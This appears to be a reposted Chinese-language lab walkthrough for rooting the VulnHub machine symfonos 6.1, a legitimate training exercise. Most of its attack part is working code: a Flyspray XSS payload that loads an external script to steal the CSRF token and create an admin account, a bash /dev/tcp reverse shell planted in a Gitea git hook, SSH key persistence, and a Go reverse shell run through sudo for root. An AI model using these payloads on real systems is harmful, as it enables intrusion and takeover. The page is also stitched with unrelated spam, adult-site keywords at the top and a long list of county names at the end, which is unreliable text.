最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

【攻略鴨】symfonos 6.1_VulnHub靶機(jī)攻略

2023-03-03 22:41 作者:攻略鴨  | 我要投稿

本文內(nèi)容純屬虛構(gòu),攻略鴨求b站關(guān)注點(diǎn)贊支持!

VMware工作良好,Virtualbox有問題。

靶機(jī)IP地址:192.168.31.239

測試機(jī)IP地址:192.168.31.38

外部信息收集

訪問http://192.168.31.239/只有一個圖片。

端口掃描

PORT ? ? STATE SERVICE REASON ? ? ? ? VERSION
22/tcp ? open ?ssh ? ? syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)
80/tcp ? open ?http ? ?syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-methods:
| ? Supported Methods: GET HEAD POST OPTIONS TRACE
|_ ?Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open ?ppp? ? ?syn-ack ttl 64
3306/tcp open ?mysql ? syn-ack ttl 64 MariaDB (unauthorized)
5000/tcp open ?upnp? ? syn-ack ttl 64
5353/udp open ?zeroconf

網(wǎng)站目錄枚舉

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.239/FUZZ -e .php,.txt -c -ic
http://192.168.31.239/posts/

看起來用于博客。


ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.31.239/FUZZ -e .php,.txt -c -ic
http://192.168.31.239/flyspray

看起來用于提交bug,查到是flyspray bug跟蹤系統(tǒng),已有一個計(jì)劃處理的bug提交信息,狀態(tài)中顯示數(shù)量有2個(猜測其中一個需要高權(quán)限才能看到),具有登錄、注冊、找回密碼功能,已有用戶為Mr Super User,所屬組為Admin


ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.31.239/FUZZ -e .php,.txt -c -ic
http://192.168.31.239/flyspray

存在目錄列表。

查看http://192.168.31.239/flyspray/docs/UPGRADING.txt程序的升級記錄,當(dāng)前版本為1.0

flyspray XSS2CSRF

$ searchsploit flyspray
Exploit Title ?| ?Path
Flyspray 0.9 - Multiple Cross-Site Scripting Vulnerabilities ?| php/webapps/26400.txt
FlySpray 0.9.7 - 'install-0.9.7.php' Remote Command Execution ?| php/webapps/1494.php
Flyspray 0.9.9 - Information Disclosure/HTML Injection / Cross-Site Scripting ?| php/webapps/31326.txt
Flyspray 0.9.9 - Multiple Cross-Site Scripting Vulnerabilities ?| php/webapps/30891.txt
Flyspray 0.9.9.6 - Cross-Site Request Forgery ?| php/webapps/18468.html
FlySpray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery ?| php/webapps/41918.txt

查看FlySpray 1.0-rc4的漏洞,searchsploit -x 41918,

/index.php?do=myprofile的real_name參數(shù)存在XSS,可在參數(shù)頁面和任何允許用戶輸入評論的頁面上執(zhí)行。

這個XSS可以用來收集CSRF token,并提交一個表單來創(chuàng)建一個新的管理員。修改腳本保存為exp.js:

var tok = document.getElementsByName('csrftoken')[0].value;

var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="administator"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="1234rere"/>'
txt += '<input type="hidden" name="user_pass2" value="1234rere"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@symfonos.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@symfonos.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'

var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();


測試機(jī)開啟HTTP服務(wù):$ python -m http.server 80

嘗試注冊用戶test1:12345,注冊時提交有real_name參數(shù),點(diǎn)擊查看個人信息編輯Real Name為:

testq"><script>console.log(200)</script><var xxx="

發(fā)現(xiàn)頭像處該腳本未被編碼輸出。

評論已有的計(jì)劃處理的bug提交信息,管理員查看該信息時會觸發(fā)腳本。

更改real_name為:

testq"><script src="http://192.168.31.38/exp.js"></script><var xxx="

觀察HTTP代理流量, 發(fā)現(xiàn)靶機(jī)IP地址請求測試機(jī)。

使用administator:1234rere登錄后發(fā)現(xiàn)另一個計(jì)劃信息,內(nèi)容中包含Gitea身份認(rèn)證信息:achilles:h2sBr9gryBunKdF9

Gitea RCE漏洞CVE-2020-14144

訪問http://192.168.31.239:3000/,是Gitea,當(dāng)前版本: 1.11.4

發(fā)現(xiàn)用戶achilles、zayotic,登錄achilles后找到MySQL的認(rèn)證信息root:password,嘗試登錄MySQL失敗。

$ searchsploit Gitea
Gitea 1.12.5 - Remote Code Execution (Authenticated) ? ? ? ? ? | multiple/webapps/49571.py
Gitea 1.4.0 - Remote Code Execution ? ? ? ? ? ? | multiple/webapps/44996.py
Gitea 1.7.5 - Remote Code Execution ? ? ? ? ? ? | multiple/webapps/49383.py

49571.py:
Version: >= 1.1.0 to <= 1.12.5,需要用戶名和口令,利用漏洞需要可創(chuàng)建git hooks的GiTea賬戶,在1.13.0版本被修復(fù)。
$ python3 49571.py -t http://192.168.31.239:3000 -u achilles -p h2sBr9gryBunKdF9 -I 192.168.31.38 -P 8088

可能測試環(huán)境原因,腳本執(zhí)行報錯。

手工利用漏洞

通過achilles:h2sBr9gryBunKdF9登錄Gitea

點(diǎn)開一個repository,Settings -> Git Hooks

修改post-receive Hook

寫入reverse shell:bash -i > /dev/tcp/192.168.31.38/8088 0<&1 2>&1

測試機(jī)開啟監(jiān)聽

在repository的任意文件代碼中增加個回車然后提交,觸發(fā)post-receive Hook

[git@symfonos6 symfonos-blog.git]$ id
id
uid=997(git) gid=995(git) groups=995(git)

發(fā)現(xiàn)shell很不穩(wěn)定,需要將公鑰復(fù)制到git的.ssh/authorized_keys中,獲得一個更穩(wěn)定的shell。

獲取穩(wěn)定shell

測試機(jī)
$ ssh-keygen -t rsa
...
$ cat id_rsa.pub
ssh-rsa AAAAB3N...9hzeaTzQUs= kali@kali

靶機(jī):
[git@symfonos6 symfonos-blog.git]$ pwd
/home/git/gitea-repositories/achilles/symfonos-blog.git
[git@symfonos6 ~]$ cd /home/git
$ echo "ssh-rsa AAAAB3N...9hzeaTzQUs= kali@kali" >> .ssh/authorized_keys

測試機(jī):
$ ssh -i id_rsa git@192.168.31.239
[git@symfonos6 ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
achilles:x:1000:1000::/home/achilles:/bin/bash

切換至achilles

嘗試使用achilles的gitea口令h2sBr9gryBunKdF9

[git@symfonos6 ~]$ su - achilles
[achilles@symfonos6 ~]$ id
uid=1000(achilles) gid=1000(achilles) groups=1000(achilles),48(apache)

sudo提權(quán)

[achilles@symfonos6 ~]$ sudo -l
User achilles may run the following commands on symfonos6:
? ?(ALL) NOPASSWD: /usr/local/go/bin/go


reverse.go:
package main

import ("os/exec")

func main() {
? ?exec.Command("bash", "-c", "bash -i >& /dev/tcp/192.168.31.38/8088 0>&1").Run()
}


[achilles@symfonos6 tmp]$ wget http://192.168.31.38/reverse.go
[achilles@symfonos6 tmp]$ sudo /usr/local/go/bin/go run reverse.go
id
uid=0(root) gid=0(root) groups=0(root)

其他

flag

cat /root/proof.txt
Congrats on rooting symfonos:6!

靶機(jī)問題

遇到測試機(jī)的出現(xiàn):驗(yàn)證XSS不存在,隔幾分鐘又存在;利用CSRF添加用戶為低權(quán)限用戶。

需要重新導(dǎo)入虛擬機(jī)。

未做解法

5000端口getshell。

【攻略鴨】symfonos 6.1_VulnHub靶機(jī)攻略的評論 (共 條)

分享到微博請遵守國家法律
太和县| 海城市| 昭苏县| 石首市| 中卫市| 晋州市| 章丘市| 广丰县| 寿宁县| 宿州市| 溧阳市| 调兵山市| 博爱县| 营口市| 陇南市| 商水县| 甘泉县| 彝良县| 禹州市| 呼伦贝尔市| 黄平县| 镇平县| 吉林市| 陵川县| 道孚县| 社旗县| 永福县| 柘城县| 同心县| 绥化市| 辽中县| 天门市| 镇沅| 攀枝花市| 札达县| 榆林市| 六枝特区| 潼南县| 肥城市| 东城区| 城口县|